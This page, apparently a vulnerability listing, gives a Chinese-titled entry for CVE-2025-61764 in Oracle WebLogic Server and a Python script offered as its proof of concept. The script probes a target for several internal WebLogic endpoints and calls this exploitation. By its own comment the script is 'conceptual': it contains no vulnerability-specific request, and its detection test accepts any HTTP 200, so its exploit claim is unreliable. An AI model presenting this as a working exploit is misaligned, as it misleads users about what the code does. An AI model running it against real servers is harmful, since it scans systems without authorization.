CVE-2025-61764 Oracle WebLogic Server Core组件未授权信息泄露漏洞

# CVE-2025-61764 - Oracle WebLogic Server Information Disclosure PoC # Note: This is a conceptual PoC based on publicly available information. # The actual exploitation details have not been fully disclosed. import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target:7001" def check_weblogic_version(): """Check Oracle WebLogic Server version""" try: # Attempt to identify WebLogic Server via console page response = requests.get(f"{TARGET_URL}/console/login/LoginForm.jsp", timeout=10) if "WebLogic" in response.text or response.status_code == 200: print(f"[+] Oracle WebLogic Server detected at {TARGET_URL}") return True except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def exploit_info_disclosure(): """ Attempt to exploit the information disclosure vulnerability in Oracle WebLogic Server Core component (CVE-2025-61764). Affected versions: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 """ headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*" } # Common endpoints that may be vulnerable to info disclosure endpoints = [ "/console/framework/skins/wlsconsole/images/Logo.png", "/bea_wls_deployment_internal/DeploymentService", "/wls-wsat/CoordinatorPortType", "/_async/AsyncResponseService" ] for endpoint in endpoints: try: url = f"{TARGET_URL}{endpoint}" response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Accessible endpoint: {url}") print(f" Response length: {len(response.content)} bytes") except requests.exceptions.RequestException: pass if __name__ == "__main__": if check_weblogic_version(): exploit_info_disclosure() else: print("[-] Target does not appear to be running Oracle WebLogic Server")